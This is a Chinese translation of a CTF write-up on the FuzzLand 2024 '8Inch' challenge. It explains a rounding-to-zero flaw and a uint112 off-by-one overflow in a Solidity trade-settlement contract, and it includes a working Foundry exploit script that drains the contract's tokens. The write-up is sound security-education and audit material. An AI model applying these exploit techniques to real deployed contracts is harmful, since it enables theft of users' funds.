本文详细描述了在2024年FuzzLand CTF中解决8Inch挑战的过程,包括对ERC-20合约TradeSettlement的深入分析。文章展示了合约中的多个漏洞,如何利用精度损失和溢出问题来进行攻击,并提供了最终的攻击脚本。通过这一过程,展示了合约安全审计的重要性及相关的漏洞细节。
在2024年9月20日,FuzzLand 举办了一场高质量的 CTF 赛事,涵盖了一系列挑战,测试了即使是最有经验的黑客的技能。尽管难度较大,我还是在规定的时间内以单独黑客的身份成功解决了一些关卡。在这篇报告中,我将重点介绍 8Inch 挑战,分析我发现的漏洞、利用方法以及我采取的步骤,以成功攻陷合约。你可以在官方 CTF GitHub 仓库查看挑战的代码。
快速审查 Foundry 项目后,我们可以观察到目标系统主要由四个合约组成:TradeSettlement、Challenge、SimpleERC20 和 SafeUint112。
该合约实现了两方(Maker 和 Taker)之间以特定价格进行的 ERC-20 代币交易。它允许创建和结算交易,并对每笔交易的创建和扩展收取 30 wei
的小额费用。入口点有:
createTrade
:允许用户通过指定代币和卖出、买入的金额来创建交易。scaleTrade
:仅允许 Maker 增加活动交易的大小。settleTrade
:使 Taker 可以通过在双方之间转移约定代币来结算交易。cancelTrade
:仅允许 Maker 取消活跃交易并索回任何未售出的代币。交易的执行流程如下:
经过对合约的全面审查,几个细节立即引起了人们的警觉:
uint112
。每当这些变量被写入时,都会使用 SafeUint112
库安全地降级 uint256
值。假设外部实现是安全的。该合约是 ERC-20 代币标准的简单实现,定义了转移代币、检查余额和管理代币授权的基本功能。
该合约作为 TradeSettlement 合约中安全的 uint112
操作库。它定义了两个关键函数:safeCast
,将 uint256
值转换为 uint112
,以及 safeMul
,将 uint112
值(a
)乘以 uint256
值(b
),并将结果返回为 uint112
。
这两个操作通过以下代码行“保护”以避免溢出。
require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
🚩 这里立即出现一个警告!uint112
的最大值 (type(uint112).max
) 不是 2¹¹² (1 << 112
),而是 2¹¹²-1。这为这些函数出现混乱提供了可能性,如果被降级的值恰好为 2¹¹²,因为它将无法适应 uint112
类型,但该操作将不会还原,并会返回零作为有效降级值 💀。
该合约作为一个工厂,设置挑战的初始状态。如果我们分析构造函数,我们可以看到它部署了一个 TradeSettlement 实例。它创建了两个 SimpleERC20 代币:WOJAK 和 WETH,每种代币的初始供应量为 10 个 ether。然后,它创建一个将 10 WOJAK 以 1 WETH 的价格出售的交易。
constructor() {
tradeSettlement = new TradeSettlement();
weth = new SimpleERC20("Wrapped Ether", "WETH", 18, 10 ether);
wojak = new SimpleERC20("Wojak", "WOJAK", 18, 10 ether);
wojak.approve(address(tradeSettlement), 10 ether);
// 将 10 WOJAK 以 1 WETH 的价格出售
tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);
}
总而言之,它建立了一个简单的交易场景,这将是我们利用系统的起点。
此外,它还具有一个 isSolved
函数,该函数定义了解决挑战需要满足的条件。
function isSolved() public view returns (bool) {
return wojak.balanceOf(address(0xc0ffee)) >= 10 ether;
}
目标明确:
0xc0ffee
地址考虑到 Challenge 设置的初始场景,以及我们对 TradeSettlement 和 SafeUint112 中入口点和警告的了解,我们可以确定以下攻击面:
createTrade
和 settleTrade
。其他函数要求调用者必须是活跃交易的所有者。如果没有足够的代币在我们余额中,我们无法结算或创建任何实质性的交易,但很快就显露出我们可以利用 settleTrade
中的精度损失提取一些免费代币的机会。
function settleTrade(uint256 _tradeId, uint256 _amountToSettle)
external
nonReentrant
{
...
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
require(
trade.filledAmountToSell + _amountToSettle <= trade.amountToSell,
"Exceeds available amount"
);
require(
IERC20(trade.tokenToBuy)
.transferFrom(
msg.sender,
trade.maker,
tradeAmount / trade.amountToSell),
"Buy transfer failed"
);
require(
IERC20(trade.tokenToSell)
.transfer(msg.sender, _amountToSettle),
"Sell transfer failed"
);
...
}
正如之前提到的,精度损失的程度由 Maker 在设定价格时决定。由 Challenge 创建的交易中的除法操作如下:
🕵 如果我们对该特定交易调用 settleTrade
函数,设置 _amountToSettle
在 1 到 9 之间,由于精度损失,我们将欠合约零 WETH 代币。因此,第一次 transferFrom
将通过,转移零数量的 WETH 代币,而第二次转移将免费发送我们请求的 amountToSettle
数量的 WOJAK,成功破坏了合约的会计。
然而,虽然提取一些 WOJAK 价值是可能的,但完全提取解题所需的全部价值大约需要 1e¹⁸ 次调用。这在计算上是不可行的,尤其是在需要支付Gas费用的区块链环境中。
然而,拥有一些 WOJAK 代币使我们可以通过 createTrade
函数创建有价值的交易,并与 scaleTrade
和 cancelTrade
进行交互,因为我们现在将成为交易的所有者。
要扩展交易,我们需要提供与原始交易销售金额相应的额外代币,以调整扩展因子。如果我们仔细查看 scaleTrade
函数,我们会发现,我们被要求转移代币仅在 originalAmountToSell
小于 newAmountNeededWithFee
扩展后。在扩展中,这不是显而易见的?扩展因子将始终是正整数,所以条件应始终成立,对吗?难道有更多的内容在里面?🔎
function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(scale > 0, "Invalid scale");
require(trade.filledAmountToBuy == 0, "Trade is already filled");
uint112 originalAmountToSell = trade.amountToSell;
trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell)
.transferFrom(
msg.sender,
address(this),
newAmountNeededWithFee - originalAmountToSell
),
"Transfer failed"
);
}
}
我们的资深研究员的眼光发现,newAmountNeededWithFee
是通过 SafeUint112
中的函数计算的,而我们已经确定其中存在溢出问题,允许 uint112
类型溢出,将 2¹¹² 降级为零。因此我们可以扩展有价值的交易而无需提供额外代币,如果 newAmountNeededWithFee
等于 0(即 2¹¹² 降级)💀 💀 💀。
总结一下:
通过这些发现,我们现在可以制定最终的攻击脚本,以充分利用 TradeSettlement 合约。最终的 Foundry 脚本如下:
function run() public {
vm.startBroadcast(msg.sender);
console.log("从合约中提取第一笔 WOJAK 的金额。");
for(uint256 i =0; i < 4; i++) {
tradeSettlement.settleTrade(0, 9);
}
console.log("提取的 WOJAK 数量", wojak.balanceOf(msg.sender));
console.log("创建扩展交易。");
wojak.approve(address(tradeSettlement), type(uint256).max);
tradeSettlement.createTrade(address(wojak), address(weth), 31, 0);
console.log("通过溢出扩展交易。");
uint256 scale = (uint256(1 << 112)-30);
tradeSettlement.scaleTrade(1, scale);
console.log("提取 remaining WOJAK。");
tradeSettlement.settleTrade(1,wojak.balanceOf(address(tradeSettlement)));
console.log("将所有 WOJAK 转到 0xc0ffee", wojak.balanceOf(msg.sender));
wojak.transfer(address(0xc0ffee), wojak.balanceOf(msg.sender));
}
好极了!在执行脚本后,CTF 后端将直接把标志抛给我们的 CLI
- 原文链接: medium.com/@bazzanigianf...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!